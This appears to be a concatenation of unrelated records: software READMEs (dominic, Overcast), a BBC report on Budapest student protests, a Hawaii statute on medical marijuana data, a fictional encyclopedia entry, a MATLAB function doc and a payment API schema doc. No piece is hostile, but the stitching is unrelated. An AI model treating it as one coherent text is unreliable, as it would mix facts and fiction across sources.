# Why ?

As a webdeveloper I have to handle HTML nodes within python code all
the time.

Hence this I love [lxml](http://codespeak.net/lxml/) and have a
extensively use of it's
[CSSSelector](http://codespeak.net/lxml/cssselect.html), I mean,
totally.

Althrough, lxml is built with
[C-based](http://www.python.org/doc/ext/intro.html) python extensions,
and whenever I need to use it in a sandboxed environment,
[Google App Engine](http://code.google.com/p/googleappengine/issues/detail?id=18),
for example, I cannot use lxml.

So that, when I've met
[py-dom-xpath](http://code.google.com/p/py-dom-xpath/), I decided to
write my own python implementation of CSSSelector, which translates
into xpath paths.

# Inspiration and thanks

dominic's test suite is a python port of sizzle's test suite.

thanks to [@jeresig](http://github.com/jeresig) for its **TERRIFIC** work
on [sizzle](http://github.com/jeresig/sizzle), such a clean and
easy-to-understand test suite.

thanks to [py-dom-xpath](http://code.google.com/p/py-dom-xpath/) crew,
it rocks out loud!

# contribute!

**install dependencies**

    user@machine:~$ [sudo] pip install sure

**run tests**

    user@machine:~Projects/dominic$ make test

# license

dominic is under MIT license, so that it can be embedded into your
project, and ran within your sandbox. It can also be put together with
[py-dom-xpath](http://code.google.com/p/py-dom-xpath/)

    Copyright (C) <2010>  Gabriel Falcão<EMAIL_ADDRESS>
    Permission is hereby granted, free of charge, to any person
    obtaining a copy of this software and associated documentation
    files (the "Software"), to deal in the Software without
    restriction, including without limitation the rights to use,
    copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the
    Software is furnished to do so, subject to the following
    conditions:

    The above copyright notice and this permission notice shall be
    included in all copies or substantial portions of the Software.

     IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
    OTHER DEALINGS IN THE SOFTWARE.


text:
---
authors:
- Nick Thorpe
categories:
- BBC
title: "Hungary students challenge Orban 'takeover' with red tape"
date: "2020-09-04"
---

> https://www.bbc.com/news/world-europe-53995387

For three nights students in Budapest have blockaded themselves inside their university in protest at what they say is a takeover by Hungary's nationalist government.

The students, from the University of Theatre and Film, fear the new board led by a staunch ally of Prime Minister Viktor Orban will wreck its autonomy.
Attila Vidnyanszky is director of Hungary's National Theatre.

There was no consultation and five leading staff have quit in protest.

This is the seventh state university in a row to be transferred to the control of private foundations, and where the board of directors is then hand-picked by the government.

The aim is to make universities financially independent of the state and more competitive, the government says.

In front of the university building in Vas street the atmosphere in the early morning was relaxed.

Students who slept the night inside emerged for coffee and pastries on the steps or on armchairs, behind the red and white hazard tape that sealed off the main entrance.

The tape, reproduced on social media, has emerged as the main icon of the protest. Above it, one student arranges a spray-painted hardboard showing the number of nights of the occupation.

# 'We just want to study'

"We don't want to avoid our classes and we want to invite our teachers into the blockaded building," says Panni Szurdi, a second-year student and one of the co-ordinators of the protest.

"Orban isn't interested in the protests of writers or any other intellectuals, he's only afraid of the young," wrote former National Theatre director Robert Alfoldi in a Facebook post. "This is their chance to prove he has something to be afraid of."

Panni Szurdi grins uncomfortably at the suggestion.

"We just want to show that we want to study, in this building, democratically. And we just want to show what we are capable of. We don't want to scare anyone, even the prime minister."

# 'It's not a war'

The students have issued a list of 13 demands, starting with the restoration of autonomy at the university and including the resignation of the new board. They have also appealed to students at other universities to back their stand.
Zoltan Kiszelly, a political analyst close to the government, sees the wrangle partly as a sort of competition between conservative and liberal values. "It's not a war," he insists.

"It's a bad heritage of East-Central Europe that every government wants to influence all parts of society. But people are used to this in Hungary, and I don't think any government will succeed in that."


text:
---
hrs_structure:
  division: '1'
  volume: '4'
  title: '13'
  chapter: '201'
  section: 201-13.9
type: hrs_section
tags:
  - Government
menu:
  hrs:
    identifier: HRS_0201-0013_0009
    parent: HRS0201
    name: 201-13.9 Medical marijuana; economic and other data; collection
weight: 5105
title: Medical marijuana; economic and other data; collection
full_title: 201-13.9 Medical marijuana; economic and other data; collection
---
**[****§201-13.9] Medical marijuana; economic and other data; collection.** (a) The department shall continuously collect de-identified information regarding the medical marijuana registry and dispensary programs established pursuant to chapters 329 and 329D, including but not limited to information regarding the:

(1) Quantities of marijuana cultivated and dispensed;

(2) Number of qualifying patients;

(3) Geographic areas in which marijuana is cultivated and consumed;

(4) Prices of marijuana and related products;

(5) Number of employment opportunities related to marijuana; and

(6) Economic impact of marijuana cultivation and sales.

(b) The department of health and dispensaries licensed pursuant to chapter 329D shall provide de-identified aggregated data as required by the department pursuant to this section.

(c) Upon request, the department shall provide an analysis of the aggregated de-identified data to the department of health and the legislature. [L 2016, c 230, §2]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
# Overcast

A Java library to test against hosts in the cloud.

### Features

* Decouple test and test machine setup.
* Setup and tear-down for
   - Amazon EC2 hosts (Automatic host creation/destroy)
   - Vagrant hosts (Set up to the running state, tear down to the initial state)
   - VirtualBox hosts (Load snapshot and start, power off)
   - Libvirt managed KVM hosts (Fast clones using backing store, provisioning)
   - Docker containers
   - Tunneled cloud hosts (Reaching target host via ssh tunnel)

* Provides hostname and port mapping of created host (@see Ec2CloudHost)
* Caching of provisioned hosts (vagrant and KVM) with expiration checks

### Requirements

- Virtualbox version >= 4.2
- Vagrant version >= 1.2.7
- Qemu/KVM version that supports domain metadata (QEMU-KVM 1.4.2 (Fedora 19), 2.0.0 (Ubuntu LTS 14))
- Docker >= 1.6

### Usage

#### Set up your host
Overcast looks for configuration properties in this order:

1. `System.getProperty()`
* `<HOMEDIR>/.overcast/overcast.conf`
* `<WORKDIR>/overcast.conf`
* `<CLASSPATH>/overcast.conf`

**Note: The home location takes precedence over the project location.** This allows developers to adapt settings to their local setup without changing the project defaults.

The `overcast.conf` files are in [Typesafe Config HOCON syntax](https://github.com/typesafehub/config#using-hocon-the-json-superset); this is a flexible JSON superset that allows comments, substitution, file inclusion, and more.

##### Common properties
{my-host-label}.hostname - Hostname. If is not set, overcast will try to create host (For Amazon hosts).

##### Tunneled properties
{my-host-label}.tunnel.username - Tunnel username

{my-host-label}.tunnel.password - Tunnel password

{my-host-label}.tunnel.ports - Tunnel ports. Comma separated.

{my-host-label}.tunnel.setupTimeout - Attempt to set up the tunnel for this many seconds, default 0.

##### Amazon EC2 properties

{my-host-label}.amiId - [Amazon AMI id](https://aws.amazon.com/amis/). E.g.:ami-c1724eb5

{my-host-label}.amiInstanceType - [Instance type](http://aws.amazon.com/ec2/instance-types/). E.g.: m1.small

{my-host-label}.amiSecurityGroup - AMI security group

{my-host-label}.amiKeyName - AMI key name

{my-host-label}.amiBootSeconds - How many seconds max do you expect AMI to boot

{my-host-label}.aws.endpoint - [Endpoint URL] (http://aws.amazon.com/articles/3912)

{my-host-label}.aws.accessKey - Access key

{my-host-label}.aws.secretKey - Secret key

##### Vagrant host properties
{my-host-label}.vagrantDir - Directory with Vagrantfile

{my-host-label}.vagrantIp - IP address of the Vagrant host

{my-host-label}.vagrantVm - Name of the Vagrant host

{my-host-label}.vagrantOs - OS type of the Vagrant host (WINDOWS, UNIX)

{my-host-label}.vagrantSnapshotExpirationCmd - Command used to expire the snapshot image of the Vagrant host, it will be executed in the `vagrantDir`.

##### VirtualBox host properties
{my-host-label}.vboxUuid - UUID of the virtual machine

{my-host-label}.vboxSnapshotUuid - UUID  of the snapshot

{my-host-label}.vboxBoxIp - IP address of the virtual machine

##### Libvirt host properties
{my-host-label}.libvirtURL - URL of libvirt e.g. qemu+ssh://user@linux-box/system

{my-host-label}.libvirtStartTimeout - The libvirt domain must go into running state before this timeout (default: 30)

{my-host-label}.baseDomain - name of the domain to clone

{my-host-label}.network - name of the network device that should be used for IP to MAC lookup. For example `br0`.

{my-host-label}.ipLookupStrategy - name of a strategy used to figure out the IP of the clone, static or SSH.

{my-host-label}.static.ip - When `ipLookupStrategy` is static, the static IP the created host is expected to have.

{my-host-label}.SSH.url - URL for overthere to connect to the system that knows about the MAC to IP mapping. For instance: `ssh://user@dhcpserver?os=UNIX&connectionType=SFTP&privateKeyFile=/home/user/.ssh/id_rsa&passphrase=bigsecret`

{my-host-label}.SSH.command - command to execute on the system to lookup the IP. For example for dnsmasq: ```grep {0} /var/lib/misc/dnsmasq.leases | cut -d " " -f 3```. {0} is expanded to the MAC address.

{my-host-label}.SSH.timeout - number of seconds to try the above command to find the IP.

{my-host-label}.provision.url - URL for overthere to connect to the created system. For instance: `ssh://user@{0}?os=UNIX&connectionType=SCP&privateKeyFile="${user.home}"/.ssh/id_rsa&passphrase=bigsecret`. {0} will be replaced by the IP the system got.

{my-host-label}.provision.bootDelay - Boot delay to use after the system has been provisioned.

{my-host-label}.provision.startTimeout - After the boot delay the copy and provision commands will be retried until this timeout expires. This allows for more robust startup when startup times vary, without configuring a big bootDelay.

{my-host-label}.provision.copy - Files/directories specified here will be copied to the system before provisioning. If the length of the list is even then files/directories are copied pair wise. If the length is odd then everything is copied into the last entry (which should be a directory).

{my-host-label}.provision.cmd - Command to run to provision the system.

{my-host-label}.provision.expirationTag.cmd - Command to run to determine the expiration tag of a cached provisioning operation. Runs locally in the current directory. If an overthere URL is specified it will run the command remotely.

{my-host-label}.provision.expirationTag.url - URL for overthere to connect to a machine hosting the scripts that were used to provision an image.

{my-host-label}.fsMapping.{target}.hostPath - upon cloning create a Filesystem mapping between hostPath and `target` in the host.

{my-host-label}.fsMapping.{target}.accessMode - Access mode, one of passthrough, mapped, squash (default: passthrough)

{my-host-label}.fsMapping.{target}.readOnly - Whether the mount will be readOnly (default: true)

#### Docker concepts
During `setup()`, Overcast will create and start a new Docker container. If the image specified is not available in the local registry, it will be automatically pulled from the central Docker repository.

During `teardown()`, it will stop the container and optionally remove the container (see remove property).

Calling `getHostName()` will return the hostname of the Docker Host, assuming the container will run on that host, with the exposed ports accessible on the Docker host.

Calling `getPort(port)` will translate the internal port (passed as an argument) to the port externally exposed by the Docker Container. The port number is dynamically determined by Docker. The port range used for dynamic allocation is 49153 to 65535 (defined by Docker).

We use the [Spotify Docker Client](https://github.com/spotify/docker-client) library.

##### Docker container properties
{my-host-label}.dockerHost - The hostname of the Docker Host. (default: `http://localhost:2375`). It can also be a unix socket: `unix:///var/run/docker.sock`.

{my-host-label}.certificates - The certificates to use when connecting to a HTTPS secured docker host. The directory must contain `ca.pem`, `cert.pem` and `key.pem`.

{my-host-label}.dockerImage - The Docker image that will be run. (required)

{my-host-label}.name - The name the container will get. Warning: Docker container names must be unique, even when the container is stopped. Use in combination with `remove` to make sure you can start a container with the same name again. Also not suitable for parallel testing. (default: random name defined by docker)

{my-host-label}.remove - Boolean. If true, the container will be removed during teardown. (default: false)

{my-host-label}.exposedPorts - List of ports to expose. Use in combination with `exposeAllPorts`. Must include the protocol. Currently only `tcp` is supported. For example: `["12345/tcp", "23456/tcp"]`.

{my-host-label}.exposeAllPorts - Boolean. If true, Docker will expose the ports defined by the Docker image (see [EXPOSE](https://docs.docker.com/reference/builder/#expose)), and additionally the ports defined in overcast property `exposedPorts`. (default: false)

{my-host-label}.command - Command to execute within the container. For example: `["/bin/sh", "-c", "while true; do echo hello world; sleep 1; done"]`

{my-host-label}.env - Environment variables that will be exported in the container. For example: `["MYVAR1=AAA", "MYVAR2=BBB", "MYVAR3=CCC"]`.

#### Set up and Tear down

    @BeforeClass
    public static void doInitHost() {
       CloudHostFactory.getCloudHost("{my-host-label}").setup();
    }

    @AfterClass
    public static void doTeardownHost() {
       CloudHostFactory.getCloudHost("{my-host-label}").teardown();
    }

Also Overcast is used for integration tests of [Overthere](https://github.com/xebialabs/overthere).

### Installation

#### From maven repo

[http://mvnrepository.com/artifact/com.xebialabs.cloud/overcast/2.5.1](http://mvnrepository.com/artifact/com.xebialabs.cloud/overcast/2.5.1)

    <dependency>
        <groupId>com.xebialabs.cloud</groupId>
        <artifactId>overcast</artifactId>
        <version>2.5.1</version>
    </dependency>

Note: the libvirt JNA wrapper may require adding the libvirt.org repository to your build: [http://www.libvirt.org/maven2/](http://www.libvirt.org/maven2/)

#### From sources

   gradle build

### Notes for setting up test systems

#### Libvirt

The libvirt implementation uses backing store images. This means that the domain being cloned needs to be shut down. When cloning a system all disks of the base system are cloned using a backing store, and thrown away upon teardown, thus leaving the original system unchanged.

Machines can use static IP's using `{host}.ipLookupStrategy=static`. It is up to you that you do not
start more than one. It is also possible to use DHCP using `{host}.ipLookupStrategy=SSH`.
You have to specify the name of the Virtual Network in libvirt or the name of the bridge the domain
is connected to and a command to lookup the IP on the DHCP server giving the system it's IP address.
The IP can then be retrieved using the ```getHostName()``` method on the ```CloudHost```.

##### NAT network
Due to the way NAT works the machine would only be accessible from the Libvirt (KVM) host. Example settings for a (NAT) network named `my_nat_network`:

    nat_host {
        libvirtURL="qemu+ssh://user@linux-box/system"
        libvirtBaseDomain="my_base_domain"
        networkDeviceId="my_nat_network"
        ipLookupStrategy="SSH"
        SSH {
            url="ssh://user@linux-box?os=UNIX&connectionType=SCP&privateKeyFile="${user.home}"/.ssh/id_rsa&passphrase=bigsecret"
            command="""grep {0} /var/lib/libvirt/dnsmasq/my_nat_network.leases | cut -d " " -f 3"""
            timeout=30
        }
    }

##### Bridged network
Example settings for a host connected to a bridge named `br0`. Assuming a DHCP server `dhcp-box`:

    bridged_host {
        libvirtURL="qemu+ssh://user@linux-box/system"
        libvirtBaseDomain="my_base_domain"
        networkDeviceId="br0"
        ipLookupStrategy="SSH"
        SSH {
            url="ssh://dhcp-query-user@dhcp-box?os=UNIX&connectionType=SCP&privateKeyFile="${user.home}"/.ssh/id_rsa&passphrase=bigsecret"
            command="""grep {0} /var/lib/dnsmasq/dnsmasq.leases | cut -d " " -f 3"""
            timeout=30
        }
    }

##### Routed network

A routed network is similar to a bridged network with the difference that `networkDeviceId` should be set to the name of the routed network.

##### File system mapping

With entries in the `{host}.fsMapping` section it is possible to mount directories from the host in the created domain. For instance like:

    my-host {
        ...
        fsMapping {
            vagrant { hostPath = ${itest.vagrantDir}"/itest/vagrant", readOnly = true }
            data    { hostPath = ${itest.dataDir}, readOnly = true, accessMode = "mapped" }
        }
    }

These mappings can be mounted on the domain with fstab entries like:

    data            /data               9p    ro,trans=virtio
    vagrant         /vagrant            9p    ro,trans=virtio

For details on the accessMode variants see: [http://libvirt.org/formatdomain.html#elementsFilesystems](http://libvirt.org/formatdomain.html#elementsFilesystems).

It may be necessary to add the 9p file system drivers to the initrd image of the base domain image.

extension: markdown


text:
---
layout: page
title: "The Krezil Stock Market Crash"
date: 2005-10-18T20:45:19+00:00
comments: true
sharing: true
footer: true
group: Macropedia
categories: ["cho minh tel ran authored", "imperium edition"]
---

Klister University

The Krezil Stock Market Crash

Krugal Intrasystem Array

During the [Terran Decline](/chronology/first-decline) Krezil became the chief commercial city in the [Fasantauri System](/macropedia/fasantauri-system). This cities import should be noted as it affected the conditions of the Early Imperium. Particularly in regards to its corporate-familial structure. At some point in history which is hard to pinpoint, the social structure of a corporation had become something akin to that of a clan. Speculations for the motivations of such an odd change range from a shrinking labor pool, to increasing corporate control over employee private lives. Little archaeological evidence worth noting has been recovered from the Terran Decline, and even less from before. This scholar, unlike some others, will not speculate into the details of such a shrouded period.

Nevertheless, it is apparent that at some point, not too long before [Hypertravel](/natural-sciences/brane-hopping) became possible again, the Stock Market in Krezil experienced something of a crash. As one might imagine, stocks in that market were not so much shares in the individual corporations as they were shares in the particular ventures the corporation might spawn. As is so often the case in rampantly capitalist systems, groups formed to manipulate the system to their advantage. In this case, the group was the Bafiktuy Executive Decisions Committee. As its later offspring the [Bafiktuy Intelligence Directive](/macropedia/bafiktuy-intelligence-directive) would later do for the Empire, so did the Committee do for the Bafiktuy Family-Coporation.

Leading up to the crash, the Committee had apparently started to marshal minor clans to its cause. Other, more resistant Family-Corporations began to coalesce into opposing alliances. So while the Committee eroded trust among the political forces, they were also uniting into ever-larger, ever more powerful groups. Eventually, something had to give. The Stock Market lost all utility and the groups had no more use for each other. Accounts vary as to the severity, but some sort of conflict ensued across the [Fasantauri System](/macropedia/fasantauri-system).

The end result was the formation of the [BID](/macropedia/bafiktuy-intelligence-directive), and a widespread collapse of the Family-Corporate social structure in the system. Relics of this structure persisted into early empire, but, by that time, broader social forces were also in play.

## References
1. [Bafiktuy Intelligence Directive](/macropedia/bafiktuy-intelligence-directive)
1. [Fasantauri System](/macropedia/fasantauri-system)

## Related Articles

1. [Imperium Edition Index](/macropedia/imperium-edition-index)
2. [Fasantauri System](/macropedia/fasantauri-system)
3. [Bafiktuy Intelligence Directive](/macropedia/bafiktuy-intelligence-directive)
4. [Terran Decline](/chronology/first-decline)
5. [Hypertravel](/natural-sciences/brane-hopping)
6. [Bid](/macropedia/bafiktuy-intelligence-directive)

## Krezil-Related Articles

1. [Imperium Edition Index](/macropedia/imperium-edition-index)
2. [Fasantauri System](/macropedia/fasantauri-system)
3. [Bafiktuy Intelligence Directive](/macropedia/bafiktuy-intelligence-directive)
4. [Terran Decline](/chronology/first-decline)
5. [Hypertravel](/natural-sciences/brane-hopping)
6. [Bid](/macropedia/bafiktuy-intelligence-directive)

gha_language: HTML


text:
# vlt.git.git_repo_version

```
  GIT_REPO_VERSION - return commit number and remote location of repository

  [V, REMOTE] = vlt.git.git_repo_version(FILEPATH)

  Uses command line 'git' to query the commit verison number (V) and
  the path of the REMOTE repository. If either query fails, an error
  is returned.

```

repository: VH-Lab/vhlab-toolbox-matlab

gha_language: MATLAB

repo_name: VH-Lab/vhlab-toolbox-matlab


text:
# OpenapiClient::TransactRequestSchema

## Properties

Name | Type | Description | Notes
------------ | ------------- | ------------- | -------------
**response_host** | **String** | The host that originated the request. Future calls in the same conversation may be routed to this host.  | [optional]
**request_id** | **String** | Unique identifier for the request.  |
**token_unique_reference** | **String** | Globally unique identifier for the Token, as assigned by MDES.    __Max Length:64__  |
**dsrp_type** | **String** | What type of DSRP cryptogram to create. Must be either UCAF or M_CHIP.     __Max Length:64__  |
**unpredictable_number** | **String** | __CONDITIONAL__
HEX Encoded data (case sensitive) provided by the merchant to provide variability and uniqueness to the generation of a cryptogram.  Required if the shouldGenerateUnpredictableNumber flag is not set during on-boarding.
 __Length:8__            | [optional]

## Code Sample

```ruby
require 'OpenapiClient'

instance = OpenapiClient::TransactRequestSchema.new(response_host: site2.payment-app-provider.com,
                                 request_id: 123456,
                                 token_unique_reference: DWSPMC000000000132d72d4fcb2f4136a0532d3093ff1a45,
                                 dsrp_type: UCAF,
                                 unpredictable_number: 23424563)
```

repository: bigelio/mastercard-api-client-tutorial

repo_name: bigelio/mastercard-api-client-tutorial